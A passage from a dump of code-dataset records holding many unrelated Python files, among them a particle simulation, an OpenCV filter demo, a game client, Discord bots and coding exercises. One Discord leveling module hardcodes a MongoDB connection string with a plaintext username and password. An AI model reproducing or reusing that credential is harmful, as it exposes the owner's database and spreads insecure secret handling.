color='blue',\\\n markersize=2, line=None)\n plt.plot([0], [0], marker='x', color='red')\n plt.grid()\n plt.xlabel(r'x Coordinate')\n plt.ylabel(r'y Coordinate')\n plt.axis('scaled')\n plt.savefig(output_direc+'/InitialConfigCoordinates1.pdf')\n plt.clf()\n'''\n#Write_Out()\ndef Tot_energies(particles=particles):\n '''adds up all the energy'''\n Kinetic = 0.0; Potential = 0.0\n for part in particles:\n Kinetic += part.ke\n Potential += part.gpe\n return Kinetic, Potential/2, Kinetic+Potential/2\n\ndef Spinner(maxtimer=maxtimer , tstep=tstep):\n '''Runs Program'''\n global timer, coordinate_grid, particles, Total_Energies\n\n timer = np.linspace(0, maxtimer, num=int(maxtimer/tstep))\n coordinate_grid = np.zeros((3,len(particles),len(timer)))\n\n Total_Energies = dict()\n Total_Energies['Kinetic'] = np.zeros(len(timer))\n Total_Energies['Gravitational'] = np.zeros(len(timer))\n Total_Energies['Total'] = np.zeros(len(timer))\n\n for f in range(len(timer)):\n for i in range(1, len(particles)):\n particles[i].RK4O(particles, tstep=tstep)\n coordinate_grid[:, i, f] = particles[i].x\n '''particles[i].AM()'''\n particles[i].kin_energy()\n particles[i].gravp_energy(particles)\n Total_Energies['Kinetic'][f], Total_Energies['Gravitational'][f], Total_Energies['Total'][f] = Tot_energies()\n\nSpinner()\nWrite_Out()\n","sub_path":"Many_Body_Assembly.py","file_name":"Many_Body_Assembly.py","file_ext":"py","file_size_in_byte":6090,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"550800535","text":"# wrong edge detection\n\nimport cv2 as cv\nimport numpy as np\n\nkernel_diag0 = np.array([[-1, 0, 0],\n [ 0, 1, 0],\n [ 0, 0, 0]])\n\nkernel_diag1 = np.array([[ 0, 0, -1],\n [ 0, 1, 0],\n [ 0, 0, 0]])\n\nkernel_all_in_one0 = np.array([[-1, 0, -1],\n [ 0, 2, 0],\n [ 0, 0, 0]])\n\nkernel_all_in_one1 = np.array([[ 0, -1, 0],\n [-1, 4, -1],\n [ 0, -1, 0]])\n\nimg = np.zeros((400,400), np.uint8)\n\nj0, j1 = 200, 203\nd = j1 - j0\nfor j in range(j0, j1):\n\timg[:,j] = int(255*(j-j0)/d)\n\nimg[:, j1:]\t= 255\n\ndst_diag0 = cv.filter2D(img, cv.CV_32F, kernel_diag0)\ndst_diag1 = cv.filter2D(img, cv.CV_32F, kernel_diag1)\ndst_diag = cv.magnitude(dst_diag0, dst_diag1)\n\ndst_all_in_one0 = cv.filter2D(img, cv.CV_32F, kernel_all_in_one0)\ndst_all_in_one1 = cv.filter2D(img, cv.CV_32F, kernel_all_in_one1)\n\ncv.imshow('img', img)\ncv.imshow('dst_diag', np.abs(dst_diag).astype(np.uint8))\ncv.imshow('dst_all_in_one0', np.abs(dst_all_in_one0).astype(np.uint8))\ncv.imshow('dst_all_in_one1', np.abs(dst_all_in_one1).astype(np.uint8))\ncv.waitKey()","sub_path":"Computer Vision/2. OpenCV/16.filter2D_3.py","file_name":"16.filter2D_3.py","file_ext":"py","file_size_in_byte":1235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"169154344","text":"#! /usr/bin/python\n\n__author__ = 'Amin'\n\nfrom connection import *\nfrom worldmodel import *\nfrom menu import *\nfrom gui import *\nfrom menuinfo import *\n\nfrom ai import QLearningAI\nfrom ai2 import SarsaAI\n\nimport myparser as parser\nimport basictypes\nimport time\nimport copy\n\n\nclass Manager:\n\tdef __init__(self):\n\t\tself.connection = Connection()\n\t\tself.wm = WorldModel()\n\t\tself.menu = Menu()\n\t\tself.gui = GUI()\n\t\tself.info = MenuInfo()\n\n\t\tself.ai_q = QLearningAI()\n\t\tself.ai_sarsa = SarsaAI()\n\n\t\tself.command = {}\n\t\tself.showgui = True\n\t\tself.training = False\n\n\n\tdef init(self):\n\t\twhile True:\n\t\t\tself.menu.start()\n\t\t\tif not self.menu.donePressed():\n\t\t\t\treturn False\n\n\t\t\tself.info = self.menu.getMenuInfo()\n\t\t\tfirst_data = self.connection.connect(self.info.host, self.info.port)\n\t\t\tif first_data != None:\n\t\t\t\tfirst_data = first_data.split(' ')\n\t\t\t\tbreak\n\n\t\t\tself.menu.showMsg(\"host not found ...\", \"connection error\")\n\n\n\t\tself.connection.startRecvThread()\n\t\t# first time connected\n\t\t##pid = self.connection.recv()\n\t\tself.info.pid = int(first_data[0])\n\n\t\tself.fillCommand(True)\n\t\tif not self.connection.send(parser.compress(parser.data2str(self.command))):\n\t\t\treturn False\n\n\t\tself.wm.init(self.info.pid, first_data[1], int(first_data[2]))\n\t\tself.ai_q.init(copy.deepcopy(self.wm))\n\t\tself.ai_sarsa.init(copy.deepcopy(self.wm))\n\t\tself.gui.init(self.wm, self.info.monitor_width, self.info.monitor_height)\n\n\t\tif self.info.isAI:\n\t\t\tself.training = True\n\n\t\treturn True\n\n\n\tdef fillCommand(self, firstTime=False):\n\t\tself.command = {}\n\t\tself.command[basictypes.DataNames.pid] = self.info.pid\n\t\tself.command[basictypes.DataNames.team] = self.info.team\n\t\tself.command[basictypes.DataNames.tanktype] = self.info.tanktype\n\n\t\tif not firstTime:\n\t\t\tif self.info.isAI:\n\t\t\t\tself.command[basictypes.DataNames.action] = self.getActionsAI_QLearning()\n\t\t\t\t#self.command[basictypes.DataNames.action] = self.getActionsAI_SARSA()\n\t\t\telse:\n\t\t\t\tself.command[basictypes.DataNames.action] = self.gui.getActions()\n\t\t\t\tif self.training:\n\t\t\t\t\tif len(self.wm.bombs) == 0:\n\t\t\t\t\t\tself.command[basictypes.DataNames.action].append(basictypes.Actions.shoot)\n\n\t\t\tevents = self.gui.getEvents()\n\t\t\tif basictypes.Events.pausegame in events:\n\t\t\t\tevents = [basictypes.Events.pausegame]\n\t\t\tself.command[basictypes.DataNames.event] = events\n\n\n\tdef handleEvents(self):\n\t\tevents = self.gui.getEvents()\n\n\t\tif basictypes.Events.quitgame in events:\n\t\t\tself.connection.disconnect()\n\n\t\tif basictypes.Events.showgui in events:\n\t\t\tself.showgui = not self.showgui\n\n\t\tif basictypes.Events.training in events:\n\t\t\tself.training = not self.training\n\n\t\tif basictypes.Events.changebot in events:\n\t\t\tself.info.isAI = not self.info.isAI\n\n\tdef getActionsAI_QLearning(self):\n\t\tif not self.training:\n\t\t\tself.ai_q.process(self.wm)\n\t\t\treturn [self.ai_q.getBestMove(self.wm)]\n\n\t\tself.ai_q.process(self.wm)\n\t\treturn [self.ai_q.pre_process(self.wm)]\n\n\n\tdef getActionsAI_SARSA(self):\n\t\tif not self.training:\n\t\t\treturn [self.ai_sarsa.getBestMove(self.wm)]\n\n\t\treturn [self.ai_sarsa.process(self.wm)]\n\n\tdef run(self):\n\t\twhile self.connection.connected:\n\t\t\tstart_time = time.time()\n\n\t\t\trecv_data = parser.str2data(parser.decompress(self.connection.recv()))\n\t\t\t#print \"recv data = \", recv_data\n\n\t\t\tself.wm.update(recv_data)\n\n\t\t\t#print self.wm\n\n\t\t\tif self.showgui:\n\t\t\t\twinner = basictypes.Teams.none\n\t\t\t\tif self.wm.score_left >= self.wm.max_score:\n\t\t\t\t\twinner = basictypes.Teams.left\n\t\t\t\telif self.wm.score_right >= self.wm.max_score:\n\t\t\t\t\twinner = basictypes.Teams.right\n\n\t\t\t\tself.gui.show(self.wm, winner)\n\n\t\t\tself.gui.fillActionsAndEvents()\n\n\t\t\tif self.showgui:\n\t\t\t\tself.gui.playSound(self.wm)\n\n\t\t\tself.fillCommand()\n\n\t\t\tsend_data = parser.compress(parser.data2str(self.command))\n\t\t\tif not self.connection.send(send_data):\n\t\t\t\tbreak\n\n\t\t\tself.handleEvents()\n\n\t\t\t#print time.time() - start_time\n\t\t\tsleep_time = self.wm.cycle_time - (time.time() - start_time)\n\t\t\tif sleep_time < 0.0:\n\t\t\t\tsleep_time = 0\n\t\t\ttime.sleep(sleep_time)\n\n\nif __name__ == \"__main__\":\n\tm = Manager()\n\tif m.init():\n\t\tm.run()\n","sub_path":"client/manager.py","file_name":"manager.py","file_ext":"py","file_size_in_byte":4055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"518188394","text":"#!/usr/bin/env python\n# encoding: utf-8\n\"\"\"\npage.py\n\nCreated by yang.zhou on 2012-09-01.\nCopyright (c) 2012 zhouyang.me. All rights reserved.\n\"\"\"\nimport json\nimport logging\nfrom core.base.route import route\nfrom core.base.base import BaseHandler\nfrom core.base.models import Topic, Member\nfrom tornado.web import authenticated, HTTPError\n\n@route(\"^/api/topic/accept$\", dict(current_page=\"api\"))\nclass TopicAcceptApi(BaseHandler):\n @authenticated\n def post(self):\n mid = self.get_argument(\"mid\")\n Topic.accept_topic_by_mid(mid, self.current_user)\n self.finishedMsg(status=\"success\", info=\"accept topic\")\n\n@route(\"^/api/mention_request$\", dict(current_page=\"api\"))\nclass MentionRequestApi(BaseHandler):\n @authenticated\n def get(self):\n focusing = self.current_user.get_mentioned_json()\n logging.info(focusing)\n self.finish(json.dumps(focusing))\n","sub_path":"core/modules/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"500118341","text":"num_1 = int(input())\nnum_2 = int(input())\nnum_3 = int(input())\n\n\ndef sum_numbers(a, b):\n result = a + b\n return result\n\n\ndef subtract(z, x):\n result = z - x\n return result\n\n\nprint(subtract(sum_numbers(num_1, num_2), num_3))\n","sub_path":"python_fundamentals_september 2020/04. functions/04.02. exercise/02. add_and_subtract.py","file_name":"02. add_and_subtract.py","file_ext":"py","file_size_in_byte":236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"501696868","text":"#\n# Copyright (c) 2023 Airbyte, Inc., all rights reserved.\n#\n\n\nimport pandas as pd\n\nfrom .models import ConnectorQAReport\n\ndef persist_qa_report(qa_report: pd.DataFrame, path: str, public_fields_only: bool =True):\n final_fields = [\n field.name for field in ConnectorQAReport.__fields__.values() \n if field.field_info.extra[\"is_public\"] or not public_fields_only\n ]\n qa_report[final_fields].to_json(path, orient=\"records\")\n","sub_path":"tools/ci_connector_ops/ci_connector_ops/qa_engine/outputs.py","file_name":"outputs.py","file_ext":"py","file_size_in_byte":445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"97358174","text":"# WAP to input a number and check whether it's palendrome or not.\n\nnum = int(input(\"Enter a value -> \")) \ntemp = num \nrev = 0 \nwhile(num > 0): \n dig = num % 10 \n rev = rev * 10 + dig \n num = num // 10 \nif(temp == rev): \n print(\"This is a palindrome number !\") \nelse: \n print(\"This is not a palindrome number !\") ","sub_path":"Practice/palendrome.py","file_name":"palendrome.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"59447500","text":"from apidaze import Client\nimport os\nfrom dotenv import load_dotenv\nload_dotenv()\n\nAPI_KEY = os.getenv('API_KEY')\nAPI_SECRET = os.getenv('API_SECRET')\n\napidaze = Client(api_key=API_KEY, api_secret=API_SECRET)\n\n\ndef getRecording(filename: str):\n response = apidaze.recordings.get(filename)\n data = response['body']\n file = open(filename, 'wb')\n file.write(data)\n file.close()\n\n\ndef removeRecording(filename: str):\n response = apidaze.recordings.remove(filename)\n print(response)\n\n\ndef listRecordings():\n response = apidaze.recordings.list()\n print(response)\n\n\nlistRecordings()\n","sub_path":"examples/recordings_example.py","file_name":"recordings_example.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"369835023","text":"# Definition for a binary tree node.\nclass TreeNode(object):\n\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\n\nclass Solution(object):\n\n def maxPathSum(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: int\n \"\"\"\n self.res = float('-Inf')\n self.DFS(root)\n return self.res\n\n def DFS(self, node):\n if node:\n left = max(self.DFS(node.left), 0)\n right = max(self.DFS(node.right), 0)\n localMax = left + right + node.val # 1,2,3,4\n self.res = max(self.res, localMax)\n return max(left, right) + node.val # 为了上层的计算,此处不能算入node.val\n else:\n return 0\n# 首先我们分析一下对于指定某个节点为根时,最大的路径和有可能是哪些情况。\n# 第一种是左子树的路径加上当前节点,第二种是右子树的路径加上当前节点,\n# 第三种是左右子树的路径加上当前节点(相当于一条横跨当前节点的路径),第四种是只有自己的路径。\n# 乍一看似乎以此为条件进行自下而上递归就行了,然而这四种情况只是用来计算以当前节点根的最大路径,\n# 如果当前节点上面还有节点,那它的父节点是不能累加第三种情况的。所以我们要计算两个最大值,\n# 一个是当前节点下最大路径和,另一个是如果要连接父节点时最大的路径和。我们用前者更新全局最大量,\n# 用后者返回递归值就行了。\n","sub_path":"LeetCode/124_Binary_Tree_Maximum_Path_Sum.py","file_name":"124_Binary_Tree_Maximum_Path_Sum.py","file_ext":"py","file_size_in_byte":1569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"646866370","text":"\"\"\"\r\nBSD 3-Clause License\r\n\r\nCopyright (c) 2021-present, BenitzCoding\r\nAll rights reserved.\r\n\r\nRedistribution and use in source and binary forms, with or without\r\nmodification, are permitted provided that the following conditions are met:\r\n\r\n1. Redistributions of source code must retain the above copyright notice, this\r\n list of conditions and the following disclaimer.\r\n\r\n2. Redistributions in binary form must reproduce the above copyright notice,\r\n this list of conditions and the following disclaimer in the documentation\r\n and/or other materials provided with the distribution.\r\n\r\n3. Neither the name of the copyright holder nor the names of its\r\n contributors may be used to endorse or promote products derived from\r\n this software without specific prior written permission.\r\n\r\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\r\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\r\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\r\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\r\nFOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\r\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\r\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\r\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\r\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\r\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\r\n\"\"\"\r\nimport motor.motor_asyncio\r\nimport discord\r\nimport canvacord\r\n\r\nfrom numix_imports import *\r\n\r\nmongo_url = \"mongodb+srv://Benitz:4mWMn7ety6HrIRIx@numix.dksdu.mongodb.net/DataBase_1?retryWrites=true&w=majority\"\r\ncluster = motor.motor_asyncio.AsyncIOMotorClient(mongo_url)\r\nlevel = cluster[\"DataBase_1\"]['Leveling']\r\n\r\nclass Leveling(commands.Cog):\r\n\tdef __init__(self, bot):\r\n\t\tself.bot = bot\r\n\t\tself.config = default.get(\"./config.json\")\r\n\t\tself.db1 = MongoClient(self.config.db1)\r\n\t\tprint('\"Leveling\" cog loaded')\r\n\t\tself.cooldown = []\r\n\r\n\tasync def confirm_task(self, ctx):\r\n\t\tcollection = self.db1.DataBase_1.settings\r\n\r\n\t\tif collection.count_documents({ \"_id\": int(ctx.guild.id) }) == 0:\r\n\t\t\treturn collection.insert_one({ \"_id\": int(ctx.guild.id) })\r\n\t\telse:\r\n\t\t\treturn \"Pass\"\r\n\r\n\t@commands.Cog.listener()\r\n\tasync def on_message(self, message):\r\n\t\ttry:\r\n\t\t\tawait self.confirm_task(message)\r\n\t\t\tmong_col = self.db1.DataBase_1.settings\r\n\t\t\tfor greeting in mong_col.find({ \"_id\": int(message.guild.id) }):\r\n\t\t\t\ttoggle = greeting[\"level_message_toggle\"]\r\n\t\t\t\tgreet = greeting[\"greeting\"]\r\n\t\t\t\ttry:\r\n\t\t\t\t\tif \"{\" not in greet:\r\n\t\t\t\t\t\tgreet = greet\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\tif \"bot.\" in greet or \"guild.\" in greet or \"os.\" in greet or \"self.\" in greet or \"eval(\" in greet:\r\n\t\t\t\t\t\t\treturn\r\n\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\tgreet = greet\r\n\t\t\t\texcept:\r\n\t\t\t\t\tpass\r\n\t\t\t\t\r\n\t\t\t\tif message.author.id in self.cooldown:\r\n\t\t\t\t\treturn\r\n\t\t\t\tif message.content[2:].startswith(\"!\") or message.content[1:].startswith(\"!\") or message.content.startswith(\"!\") or message.content[2:].startswith(\"?\") or message.content[1:].startswith(\"?\") or message.content.startswith(\"?\") or message.content[2:].startswith(\">\") or message.content[1:].startswith(\">\") or message.content.startswith(\">\") or message.content[2:].startswith(\".\") or message.content[1:].startswith(\".\") or message.content.startswith(\".\") or message.content[2:].startswith(\"$\") or message.content[1:].startswith(\"$\") or message.content.startswith(\"$\") or message.content.startswith(\"<@!\"):\r\n\t\t\t\t\treturn\r\n\r\n\t\t\t\tif message.author.bot:\r\n\t\t\t\t\treturn\r\n\r\n\t\t\t\tif message.guild.id == None:\r\n\t\t\t\t\treturn\r\n\t\t\t\tif await level.count_documents({ \"_id\": message.author.id }) == 0:\r\n\t\t\t\t\treturn await level.insert_one({ \"_id\": message.author.id, f\"{message.guild.id}\": \"ENABLED\", f\"{message.guild.id}_XP\": len(message.content), f\"{message.guild.id}_LEVEL\": 1, \"GLOBAL_XP\": len(message.content), \"GLOBAL_LEVEL\": 1, \"TOTAL_XP\": len(message.content), f\"{message.guild.id}_TOTAL_XP\": len(message.content) })\r\n\t\t\t\t\r\n\t\t\t\tauthor_data = await level.find_one({ \"_id\": message.author.id })\r\n\t\t\t\tif await level.count_documents({ \"_id\": message.author.id, f\"{message.guild.id}\": \"ENABLED\" }) == 0:\r\n\t\t\t\t\treturn await level.update_one({ \"_id\": message.author.id }, { \"$set\": { \"_id\": message.author.id, f\"{message.guild.id}\": \"ENABLED\", f\"{message.guild.id}_XP\": len(message.content), f\"{message.guild.id}_LEVEL\": 1, \"TOTAL_XP\": author_data[f'TOTAL_XP'] + len(message.content), f\"{message.guild.id}_TOTAL_XP\": len(message.content)}})\r\n\r\n\t\t\t\tawait level.update_one({ \"_id\": message.author.id }, { \"$set\": { \"_id\": message.author.id, f\"{message.guild.id}_XP\": author_data[f'{message.guild.id}_XP'] + len(message.content), f\"GLOBAL_XP\": author_data[f'GLOBAL_XP'] + len(message.content), \"TOTAL_XP\": author_data[f'TOTAL_XP'] + len(message.content), f\"{message.guild.id}_TOTAL_XP\": len(message.content) } })\r\n\r\n\t\t\t\tif author_data[f\"{message.guild.id}_XP\"] >= int((50 * (author_data[f\"{message.guild.id}_LEVEL\"] ** 2)) + (50 * author_data[f\"{message.guild.id}_LEVEL\"])):\r\n\t\t\t\t\tawait level.update_one({ \"_id\": message.author.id }, { \"$set\": { \"_id\": message.author.id, f\"{message.guild.id}_XP\": 0, f\"{message.guild.id}_LEVEL\": author_data[f\"{message.guild.id}_LEVEL\"] + 1 }})\r\n\t\t\t\t\tif message.guild.id != 336642139381301249:\r\n\t\t\t\t\t\tif toggle == \"disabled\":\r\n\t\t\t\t\t\t\tgreet = \"\"\r\n\t\t\t\t\t\t\tif greet == None:\r\n\t\t\t\t\t\t\t\tgreet = f\"<:confetti:854263610284441600> <@!{message.author.id}> You've Leveled up! Now, you're in level {author_data[f'{message.guild.id}_LEVEL']}!\"\r\n\t\t\t\t\t\t\tawait message.channel.send(greet)\r\n\r\n\t\t\t\tif author_data[f\"GLOBAL_XP\"] >= int((50 * (author_data[f\"GLOBAL_LEVEL\"] ** 2)) + (50 * author_data[f\"GLOBAL_LEVEL\"])):\r\n\t\t\t\t\tawait level.update_one({ \"_id\": message.author.id }, { \"$set\": { \"_id\": message.author.id, f\"GLOBAL_XP\": 0, f\"GLOBAL_LEVEL\": author_data[\"GLOBAL_LEVEL\"] + 1 } })\r\n\r\n\t\t\t\tself.cooldown.append(message.author.id)\r\n\t\t\t\ttime.sleep(1.2)\r\n\t\t\t\tself.cooldown.remove(message.author.id)\r\n\t\texcept:\r\n\t\t\tmong_col = self.db1.DataBase_1.settings\r\n\t\t\tmong_col.update_one({ \"_id\": int(message.guild.id) }, { \"$set\": { \"_id\": int(message.guild.id), \"level_message_toggle\": \"enabled\", \"greeting\": None } })\r\n\t\t\r\n\r\nasync def setup(bot):\r\n\tawait bot.add_cog(Leveling(bot))","sub_path":"Numix/cogs/leveling.py","file_name":"leveling.py","file_ext":"py","file_size_in_byte":6338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"198522237","text":"from keep_alive import keep_alive\nfrom rockPaperScissor import rpsGame\nimport random\nimport discord\nimport os\nimport dataLibrary\n\nclient = discord.Client()\n\n@client.event\nasync def on_ready():\n print(\"The bot is ready\")\n await client.change_presence(game=discord.Game(name=\"Making fun things\"))\n\n@client.event\nasync def on_message(message):\n if message.author == client.user:\n return\n\n if str.lower(message.content) == \"funbot\":\n if random.randint(0,1):\n await client.send_message(message.channel, \"Did you call me?\")\n elif random.randint(0,1):\n await client.send_message(message.channel, \"What do you want?\")\n else:\n await client.send_message(message.channel, \"Yes! How can I help you?\")\n\n if str.lower(message.content) == \"funbot dadjoke\":\n await client.send_message(message.channel, str(dataLibrary.jokeList[random.randint(0,(len(dataLibrary.jokeList)-1))]))\n\n if str.lower(message.content) == \"funbot help\":\n await client.send_message(message.channel, \"Say **funbot dadjoke** for some good old dad jokes\\nSay **funbot doggo** for some doggo gifs \\nSay **funbot cats** for some cute cat gifs\\nSay **funbot play** for some fun games \\nSay **funbot reynolds** for some Ryan Reynolds's pictures as Pikachu\\nMore commands coming soon!\")\n\n if str.lower(message.content) == \"funbot doggo\":\n await client.send_message(message.channel,str(dataLibrary.doggoList[random.randint(0,(len(dataLibrary.doggoList)-1))]))\n\n if str.lower(message.content) == \"funbot insult\":\n await client.send_message(message.channel,str(dataLibrary.insultList[random.randint(0,(len(dataLibrary.insultList)-1))]))\n\n if str.lower(message.content) == \"funbot play\":\n await client.send_message(message.channel,\"Games are currently under development. See you soon!\")\n\n if str.lower(message.content) == \"funbot reynolds\":\n await client.send_message(message.channel, str(dataLibrary.reynolds[random.randint(0,(len(dataLibrary.reynolds)-1))]))\n\n # if str.lower(message.content) == \"funbot play rps\":\n # await rpsGame(message)\n\n if str.lower(message.content) == \"funbot test\":\n await client.send_message(message.channel, \"Test\")\n\nkeep_alive()\ntoken = os.environ.get(\"DISCORD_BOT_SECRET\")\nclient.run(token)","sub_path":"SuperDuperFunBot/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"131269700","text":"\"\"\" playgame.py\n\nContains the Connect 3 game playing application.\nThis file forms part of the assessment for CP2410 Assignment 2\nnote: I used != instead of is not for readability\n\n************** Daniel Gilbert ****************************\n\n\n\"\"\"\nfrom connect3board import Connect3Board\nfrom gametree import GameTree\n\n\n# from gametreeTest import GameTreee\n\n\n\ndef main():\n print('Welcome to Connect 3 by dan da man')\n mode = get_mode()\n while mode != 'Q':\n if mode == 'A':\n run_two_player_mode()\n elif mode == 'B':\n run_ai_mode()\n mode = get_mode()\n\n\ndef run_two_player_mode():\n min_RowCol = 3\n max_RowCol = 7\n\n rows = get_RowCol_int(\"Number of Rows? (Min: {} Max: {}): \".format(min_RowCol, max_RowCol), min_RowCol, max_RowCol)\n cols = get_RowCol_int(\"Number of Columns? (Min: {} Max: {}): \".format(min_RowCol, max_RowCol), min_RowCol,\n max_RowCol)\n\n game = Connect3Board(rows, cols)\n gameWin = game.get_winner()\n while gameWin is None:\n print(game)\n columnAdd = get_int(\"Player {}'s turn, add ya thing boi\".format(game.get_whose_turn()))\n if game.can_add_token_to_column(columnAdd):\n game.add_token(columnAdd)\n else:\n print(\"ya bad!\")\n # columnAdd = get_int(\"ya bad, try again MR. {}\".format(game.get_whose_turn()))\n gameWin = game.get_winner()\n\n print(game)\n print(\"You win! {}\".format(game.get_winner()))\n\n\ndef get_RowCol_int(prompt, min, max):\n isRightNum = True\n num = int(input(prompt))\n while isRightNum:\n if num in range(min, max + +1):\n print(\" %s is in the range\" % str(num))\n # isRightNum = False //i dont think i need this\n return num\n\n else:\n print(\" %s is not in the range\" % str(num))\n num = int(input(prompt))\n\n # while num >= 3 & num <= 7:\n # return num\n # else:\n # print(\"value must be between 3 and 7\")\n # num = int(input(prompt))\n\n # while True:\n # try:\n # num = int(input(prompt))\n # if low <= num <= high:\n # return num\n # else:\n # print(\"Value must be between {} and {} inclusive: \".format(low, high))\n # except ValueError:\n # print(\"Value must be between {} and {} inclusive: \".format(low, high))\n\n\ndef run_ai_mode():\n game = Connect3Board(3, 3)\n game_tree = GameTree(game)\n print(game_tree.count)\n tree = game_tree.get_root_position()\n\n player = get_int(\"chose player number 0 or 1 for O and # respectfully\")\n while player != 0 and player != 1:\n player = get_int(\"chose player number 0 or 1\")\n\n # Player decides to go first\n if player == 0:\n while game.get_winner() == None:\n\n print(game)\n columnAdd = get_int(\"Player {}'s turn)\".format(game.get_whose_turn()))\n if game.can_add_token_to_column(columnAdd):\n game.add_token(columnAdd)\n tree = tree.get_child(columnAdd)\n else:\n print(\"ya bad!\")\n\n child_scores = tree.get_children_scores()\n\n best_col_choice = 0\n for index, score in enumerate(child_scores):\n if score != None and score > GameTree.MIN_WIN_SCORE:\n best_col_choice = index\n\n game.add_token(best_col_choice)\n tree = tree.get_child(best_col_choice)\n\n # if player decides to go second\n elif player == 1:\n while game.get_winner() == None:\n print(\"AI 'O' will go first \")\n child_scores = tree.get_children_scores()\n\n\n \"\"\"Method 1\"\"\"\n best_col_choice = 0\n for index, score in enumerate(child_scores):\n if score != None and score > GameTree.MAX_WIN_SCORE:\n best_col_choice = index\n\n\n \"\"\"Method 2\"\"\"\n # best_col_choice = None\n # max_score = -2\n # min_score = 2\n #\n # for i, child in enumerate(child_scores):\n # if game.get_whose_turn() == game.TOKENS[0]:\n # if child is not None and child > max_score:\n # max_score = child\n # best_col_choice = i\n # else:\n # if child is not None and child < min_score:\n # min_score = child\n # best_col_choice = i\n\n\n\n game.add_token(best_col_choice)\n tree = tree.get_child(best_col_choice)\n\n print(game)\n columnAdd = get_int(\"Player {}'s turn)\".format(game.get_whose_turn()))\n if game.can_add_token_to_column(columnAdd):\n game.add_token(columnAdd)\n tree = tree.get_child(columnAdd)\n else:\n print(\"ya bad!\")\n\n \"\"\"Attempt Two\"\"\"\n # if game.get_whose_turn() == player_token:\n # print(game)\n # column_choice = get_int(\"Player {}'s turn. Choose column ({} to {}):\".format(game.get_whose_turn(), 0, game.get_columns() - 1))\n # if game.can_add_token_to_column(column_choice):\n # game.add_token(column_choice)\n # # find the children from the tree based on the users selection\n # position_tree = position_tree.get_child(column_choice)\n # else:\n # print(\"You cannot add a token at column {}\".format(column_choice))\n # else:\n # print(\"AI's turn\")\n # child_scores = position_tree.get_children_scores()\n #\n # # select the best child score from the children\n # best_child = 0\n # for index, score in enumerate(child_scores):\n # if score is not None and score > GameTree.MIN_WIN_SCORE:\n # best_child = index\n #\n # game.add_token(best_child)\n # position_tree = position_tree.get_child(best_child)\n\n \"\"\"Attempt One\"\"\"\n # if player == \"#\":\n # while game.get_winner() == None:\n # if game.get_whose_turn() == player_token:\n # print(game)\n # column_choice = get_int(\n # \"Player {}'s turn. Choose column ({} to {}):\".format(game.get_whose_turn(), 0,\n # game.get_columns() - 1))\n # if game.can_add_token_to_column(column_choice):\n # game.add_token(column_choice)\n # # find the children from the tree based on the users selection\n # position_tree = position_tree.get_child(column_choice)\n # else:\n # print(\"You cannot add a token at column {}\".format(column_choice))\n # else:\n # print(\"AI's turn\")\n # child_scores = position_tree.get_children_scores()\n #\n # # select the best child score from the children\n # best_child = 0\n # for index, score in enumerate(child_scores):\n # # pick the score based on player selecting O token\n # if score is not None and player_token != GameTree.MIN_PLAYER and score < GameTree.MAX_WIN_SCORE:\n # best_child = index\n #\n # # pick the best score based on player selecting # token\n # elif score is not None and player_token != GameTree.MAX_PLAYER and score > GameTree.MIN_WIN_SCORE:\n # best_child = index\n #\n # game.add_token(best_child)\n # # navigate to the next child in the tree\n # position_tree = position_tree.get_child(best_child)\n\n\n\n\n print(game)\n if game.get_winner() != game.DRAW:\n print(\"Player {} wins!\".format(game.get_winner()))\n else:\n print(game.get_winner())\n\n\ndef get_mode():\n mode = input(\"A. Two-player mode\\nB. Play against AI\\nQ. Quit\\n>>> \")\n while mode[0].upper() not in 'ABQ':\n mode = input(\"A. Two-player mode\\nB. Play against AI\\nQ. Quit\\n>>> \")\n return mode[0].upper()\n\n\ndef get_int(prompt):\n result = 0\n finished = False\n while not finished:\n try:\n result = int(input(prompt))\n finished = True\n except ValueError:\n print(\"Please enter a valid integer.\")\n return result\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"playgame.py","file_name":"playgame.py","file_ext":"py","file_size_in_byte":8604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"140136612","text":"#!/usr/bin/env python3\n\"\"\"\nThis script prints some 